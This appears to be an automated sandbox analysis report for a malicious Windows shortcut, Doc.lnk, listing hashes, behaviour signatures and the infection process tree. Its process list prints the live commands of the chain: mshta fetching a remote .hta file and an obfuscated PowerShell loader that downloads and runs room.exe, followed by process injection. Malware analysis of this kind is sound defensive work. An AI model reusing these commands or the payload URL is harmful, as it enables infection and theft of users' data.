Analysis
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max time kernel
149s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22/05/2024, 05:20
Static task
static1
Behavioral task
behavioral1
Sample
Doc.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
Doc.lnk
Resource
win10v2004-20240426-en
General
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Target
Doc.lnk
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Size
1KB
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MD5
60f1320faf25bc20101c4312f82a72f8
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SHA1
a37a8f932db503eed34cbe9aa1db40f63b36fee1
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SHA256
bb26c65d29da78c698c19344058832b21593d27f4d89b5118345bb76614a564a
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SHA512
96652e9e0a96545449a260c19d920eb3f1debc879e76f5a594848a28ef165b733ca61fcc75636781289e30cc7e87aae11028ff159a1bdc93a274dbed99f03d07
Malware Config
Extracted
https://foundationforwomenshealth.com/rooming.hta
Signatures
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Blocklisted process makes network request 3 IoCs
flow pid Process 8 3724 mshta.exe 10 3724 mshta.exe 20 668 powershell.exe -
Downloads MZ/PE file
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation mshta.exe -
Executes dropped EXE 1 IoCs
pid Process 4776 room.exe -
pid Process 668 powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4776 set thread context of 3452 4776 room.exe 56 PID 4776 set thread context of 2768 4776 room.exe 102 PID 2768 set thread context of 3452 2768 netbtugc.exe 56 PID 2768 set thread context of 2832 2768 netbtugc.exe 112 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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description ioc Process Key created \Registry\User\S-1-5-21-711569230-3659488422-571408806-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 netbtugc.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5076 powershell.exe 5076 powershell.exe 668 powershell.exe 668 powershell.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 4776 room.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe -
Suspicious behavior: MapViewOfSection 7 IoCs
pid Process 4776 room.exe 3452 Explorer.EXE 3452 Explorer.EXE 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe 2768 netbtugc.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 5076 powershell.exe Token: SeDebugPrivilege 668 powershell.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3452 Explorer.EXE -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 244 wrote to memory of 5076 244 cmd.exe 85 PID 244 wrote to memory of 5076 244 cmd.exe 85 PID 5076 wrote to memory of 3724 5076 powershell.exe 86 PID 5076 wrote to memory of 3724 5076 powershell.exe 86 PID 3724 wrote to memory of 668 3724 mshta.exe 90 PID 3724 wrote to memory of 668 3724 mshta.exe 90 PID 668 wrote to memory of 4776 668 powershell.exe 92 PID 668 wrote to memory of 4776 668 powershell.exe 92 PID 668 wrote to memory of 4776 668 powershell.exe 92 PID 3452 wrote to memory of 2768 3452 Explorer.EXE 102 PID 3452 wrote to memory of 2768 3452 Explorer.EXE 102 PID 3452 wrote to memory of 2768 3452 Explorer.EXE 102 PID 2768 wrote to memory of 2832 2768 netbtugc.exe 112 PID 2768 wrote to memory of 2832 2768 netbtugc.exe 112
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Doc.lnk2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:244 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://foundationforwomenshealth.com/rooming.hta'3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5076 -
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://foundationforwomenshealth.com/rooming.hta4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3724 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function iuJPxTQS($IJCvcIeo, $gpgwsiJSczSj){[IO.File]::WriteAllBytes($IJCvcIeo, $gpgwsiJSczSj)};function EjoMCmvmrPhMtwTL($IJCvcIeo){if($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47846,47854,47854))) -eq $True){rundll32.exe $IJCvcIeo }elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47858,47861,47795))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $IJCvcIeo}elseif($IJCvcIeo.EndsWith((uytCRFyTKEJzlr @(47792,47855,47861,47851))) -eq $True){misexec /qn /i $IJCvcIeo}else{Start-Process $IJCvcIeo}};function nyAhNYUptqM($swQIUCvOyYd){$GQRylVCycvBAcjMMivqF = New-Object (uytCRFyTKEJzlr @(47824,47847,47862,47792,47833,47847,47844,47813,47854,47851,47847,47856,47862));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$gpgwsiJSczSj = $GQRylVCycvBAcjMMivqF.DownloadData($swQIUCvOyYd);return $gpgwsiJSczSj};function uytCRFyTKEJzlr($FCpZJhLpBNlnS){$KskPPnz=47746;$nuNRqvoYIqNT=$Null;foreach($HSXDbspEKMwPJOh in $FCpZJhLpBNlnS){$nuNRqvoYIqNT+=[char]($HSXDbspEKMwPJOh-$KskPPnz)};return $nuNRqvoYIqNT};function RrbwTHrSKoXiNsmhK(){$ASgAmoIXZipayyHcO = $env:AppData + '\';$qBzHfpVo = $ASgAmoIXZipayyHcO + 'room.exe'; if (Test-Path -Path $qBzHfpVo){EjoMCmvmrPhMtwTL $qBzHfpVo;}Else{ $LhrXdLIM = nyAhNYUptqM (uytCRFyTKEJzlr @(47850,47862,47862,47858,47861,47804,47793,47793,47848,47857,47863,47856,47846,47843,47862,47851,47857,47856,47848,47857,47860,47865,47857,47855,47847,47856,47861,47850,47847,47843,47854,47862,47850,47792,47845,47857,47855,47793,47860,47857,47857,47855,47792,47847,47866,47847));iuJPxTQS $qBzHfpVo $LhrXdLIM;EjoMCmvmrPhMtwTL $qBzHfpVo;};;;;}RrbwTHrSKoXiNsmhK;5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Users\Admin\AppData\Roaming\room.exe"C:\Users\Admin\AppData\Roaming\room.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4776
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C:\Windows\SysWOW64\netbtugc.exe"C:\Windows\SysWOW64\netbtugc.exe"2⤵
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2768 -
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵PID:2832
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
264KB
MD51dcce19e1a6306424d073487af821ff0
SHA19de500775811f65415266689cbdfd035e167f148
SHA25677e14caae3daf05c1f5a6a3d10e4936cc58944d6ae9ec6943b1be6d995e94b5c
SHA5124528efd164bff904830fde7efb04d5cf3999ef4fa0b8c3d4ad0407d7cd75f03085107c8ae5651e015f62e414a59979fd264e94257c52f60540d5969fd4ca144a